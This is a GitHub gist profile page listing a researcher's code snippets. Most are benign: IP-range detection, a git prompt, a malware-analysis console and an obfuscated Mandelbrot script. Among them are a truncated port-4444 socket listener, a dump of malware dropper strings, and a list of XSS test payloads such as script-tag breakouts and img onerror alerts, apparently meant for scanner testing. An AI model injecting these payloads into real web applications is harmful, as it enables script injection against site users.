Skip to content

Instantly share code, notes, and snippets.

View deadbits's full-sized avatar
🪴

Adam Swanda deadbits

🪴
424 followers · 402 following
View GitHub Profile
@deadbits
deadbits / iprange.py
Created February 25, 2012 03:14
new get local IP and range
#!/usr/bin/python
from scapy.all import *
localIP = [x[4] for x in scapy.all.conf.route.routes if x[2] != '0.0.0.0'][0]
splitIP = localIP.split('.')
splitIP[3:] = (['0/24'])
IPRange = ".".join(splitIP)
print IPRange
@deadbits
deadbits / gist:2069269
Created March 18, 2012 05:58 — forked from codian/gist:2069206
current git branch name on prompt
export PS1="\[\033[34m\]\w\[\033[35m\]\`ruby -e \"print (%x{git branch 2> /dev/null}.split(/\n/).grep(/^\*/).first || '').gsub(/^\* (.+)$/, '(\1)')\"\`\[\033[00m\]> "
@deadbits
deadbits / marshal2.py
Created April 12, 2012 22:30
and again...
import marshal
script = """
print 'hello'
"""
code = compile(script, "<script>", "exec")
data = marshal.dumps(code)
@deadbits
deadbits / multi.py
Created April 13, 2012 02:44
Multiple connections
import os,sys
import socket
import time
HOST = ''
PORT = 4444
activePID = []
conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
conn.bind((HOST, PORT))
@deadbits
deadbits / filequeue.rb
Created November 14, 2012 00:04
traverse and populate
# part of the MinusOne project.
# methods from minus/lib/environment.rb
# traverse a given directory tree to determine
# if a path is a file or a directory.
# if the file extension of any file matches the
# specified language, add that file to the scan queue.
def determine_extension
puts "[~] determining file extension..."
case $options[:language].downcase
@deadbits
deadbits / dropper_strings.txt
Created November 23, 2012 04:27
malware strings with (most) junk removed
GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htmGET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.aspGET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.htmlGET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htmGET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.aspGET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.htmlGET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.aspGET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.htmlGET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htmGET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.aspGET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.htmlGET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.aspGET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.htmlGET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.aspGET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htmGET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htmGET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.aspGET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.htmlGET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htmGET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.aspGET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&
@deadbits
deadbits / session_demo.txt
Created December 16, 2012 02:54
ArcReactor sessions~!!
# This is a preview of an ArcReactor interactive console session. I used the 'launch' utility to start an interactive
# session, configured some settings to setup some manual collections, launch some modules and then later on i check on the
# status of those tasks.
# Any thoughts or comments? Remember this is just a quick preview of a small aspect.
adam [/opt/arcreactor] » ./launch --interactive --debug
[*] core - checking for background sessions
[~] core - initializing new session
[~] core - loading configuration files
@deadbits
deadbits / gist:4404718
Created December 29, 2012 05:10 — forked from zoek1/gist:4404619
# codigo tomado de:
# http://preshing.com/20110926/high-resolution-mandelbrot-in-obfuscated-python
# ajusta el tamaño en la linea doce.
_ = (
255,
lambda
V ,B,c
:c and Y(V*V+B,B, c
-1)if(abs(V)<6)else
@deadbits
deadbits / gist:4653142
Created January 28, 2013 04:47
example of using maz console to analyze and storage sample. ascii strings with offsets are also stored but not displayed back to you in the console because they would take up a lot of space. i need a way to make the AV results prettier too.
ams [~/Git/maz/bin] - [master] » ./console.rb
Malware Analysis Zoo ::: interactive console
https://github.com/ohdae/maz - MAZ (c) 2013
type 'help' to view all available commands.
maz >> analyze /home/ams/maz/storage/samples/sample3.exe
[*] starting analysis of sample: /home/ams/maz/storage/samples/sample3.exe
[-] sample copied to storage directory: /home/ams/maz/samples/sample3_a1bbf8ab970131055d0f3c95001c9409/
[*] submitting to database ...
@deadbits
deadbits / xss_all.txt
Last active December 12, 2015 08:49
XSS list from http://travis-ci.org/thesp0nge/cross
Useful XSS techniques taken from the Cross project by thesp0nge @ http://travis-ci.org/thesp0nge/cross
"<script>alert('pwned!');</script>",
"/--><script>alert('pwned!');</script>",
"/--></ScRiPt><ScRiPt>alert('pwned!');</ScRiPt>",
"//;-->alert('pwned!');",
"\"//;\nalert('pwned!');",
"<script/anyjunk>alert('pwned!')</script>",
"<<script>alert('pwned!');//<</script>",
"<img onerror=alert('pwned!') src=a>",